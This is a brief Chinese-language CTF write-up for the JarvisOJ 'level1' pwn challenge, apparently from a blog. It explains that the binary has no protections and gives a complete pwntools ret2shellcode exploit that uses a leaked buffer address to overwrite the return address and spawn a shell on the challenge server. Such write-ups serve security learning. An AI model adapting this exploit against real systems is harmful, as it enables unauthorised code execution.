checksec 一下,发现什么都没开
image.png再加上没有开启NX,那就是很明显 的ret2shellcode了
exp:
from pwn import *
# p = process('./level1')
p = remote("pwn2.jarvisoj.com","9877")
p.recvuntil(":")
r = p.recvuntil("?")
print r[:10]
buf = int(r[:10],16)
# pause()
shellcode = asm(shellcraft.sh())
print hex(len(shellcode))
pause()
payload = shellcode + (0x8c - len(shellcode))*"A" + p32(buf)
p.sendline(payload)
p.interactive()
网友评论